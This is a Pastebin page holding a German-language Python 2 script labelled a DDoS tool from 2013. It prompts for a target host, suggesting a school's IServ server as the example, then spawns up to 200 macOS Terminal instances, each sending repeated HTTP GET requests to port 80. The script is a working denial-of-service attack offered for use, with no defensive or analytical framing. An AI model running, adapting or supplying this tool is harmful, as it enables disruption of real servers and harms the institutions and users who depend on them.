ChristianGaerter

Python DDOS Tool [GER]

Feb 12th, 2013
308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.94 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. #---------------------------#
  4. #(c)2013 by Christian Gaertner
  5. #---------------------------#
  6.  
  7. #imports
  8. import os
  9. import sys
  10. import time
  11. import socket
  12.  
  13.  
  14.  
  15. master = 'true'
  16. exe = 'false'
  17. afterSettingsLoop = 'y'
  18.  
  19.  
  20. if len(sys.argv) == 3:
  21.     master = 'false'
  22.     exe = 'true'
  23.  
  24.  
  25. if master == 'true':
  26.     os.system('clear')
  27.     print('++++++++++++++++++++++SERVER ANGRIFF++++++++++++++++++++++++')
  28.     print('+++++++++++++++++(c)2013 Christian Gaertner+++++++++++++++++')
  29.     print('')
  30.         #get user input
  31.     #get current script path
  32.     path = raw_input('Bitte diese Datei jetzt hier auf dieses Fenster ziehen und <enter> druecken!\n>>> ')
  33.  
  34.     #instances
  35.     instances_str = raw_input('Wie viele Instanzen sollen geoeffnet werden [1-200]?\nINFO:\nWenn keine gueltige Zahl eingegeben wird, wird der Standartwert von 1 verwendet!\n>>> ')
  36.  
  37.     try:
  38.         instances = int(instances_str)
  39.     except ValueError:
  40.         instances = 1
  41.  
  42.     #times
  43.     times_str = raw_input('Wie oft soll der Host angegriffen werden [1-1000000]?\nINFO:\nWenn keine gueltige Zahl eingegeben wird, wird der Standartwert von 1000 verwendet!\n>>> ')
  44.     #print ('times: ' + times_str)
  45.  
  46.     try:
  47.         times = int(times_str)
  48.     except ValueError:
  49.         times = 1000
  50.  
  51.  
  52.     #host
  53.     host = raw_input('Welcher Host soll angegriffen werden? (z.B. 10.0.2.2 fuer IServ)\n>>> ')
  54.     #print ('Host: ' + host)
  55.  
  56.  
  57.  
  58.     print('++++++++++++++++++++++EINSTELLUGEN++++++++++++++++++++++++')
  59.     print('Angriffe: ' + str(instances))
  60.     print('Host: ' + host)
  61.     print('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')
  62.     while afterSettingsLoop == 'y':
  63.         moveOn = raw_input('Moechtest du den Angriff mit den obigen Einstellungen starten? [y/n]\nINFO:\nZum vorzeitigen Abbrechen einfach <ctrl> und <C> druecken\n>>> ')
  64.  
  65.         if moveOn == 'n':
  66.             print('Angriff wird abgebrochen...')
  67.             time.sleep(1)
  68.             print('...')
  69.             time.sleep(1)
  70.             print('Angriff abgebrochen!')
  71.             time.sleep(2)
  72.             os.system('clear')
  73.             sys.exit()
  74.         elif moveOn == 'y':
  75.             cmd = 'python {0} {1} {2}'.format(path, times, host)
  76.             command = "osascript -e 'tell application \"Terminal\" to do script \"{0}\"'".format(cmd)
  77.             for x in xrange(0,instances):
  78.                 os.system(command)
  79.             afterSettingsLoop = 'n'
  80.             sys.exit()
  81.         else:
  82.             os.system('clear')
  83.             print('Bitte entweder mit \"y\" oder \"n\" (OHNE \" \") antworten!\n')
  84.             time.sleep(5)
  85.             os.system('clear')
  86.  
  87.  
  88. if exe == 'true':
  89.  
  90.     #convert arg to variable
  91.     times = int(sys.argv[1])
  92.     host = sys.argv[2]
  93.  
  94.     def attack():  
  95.         #pid = os.fork()  
  96.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  97.         s.connect((host, 80))  
  98.         print ">> GET /" + host + " HTTP/1.1"  
  99.         s.send("GET /" + host + " HTTP/1.1\r\n")  
  100.         s.send("Host: " + host  + "\r\n\r\n");  
  101.         s.close()
  102.  
  103.     os.system('clear')
  104.     print('][....ATTACKING....')
  105.     print('][....HOST:{0}'.format(host))
  106.     print('][....Starting in 5sec...')
  107.     time.sleep(5)
  108.     print('][...STARTED...][')
  109.     #execute the DDOS
  110.     for x in xrange(0, times):  
  111.         attack()
Advertisement
Add Comment
Please, Sign In to add comment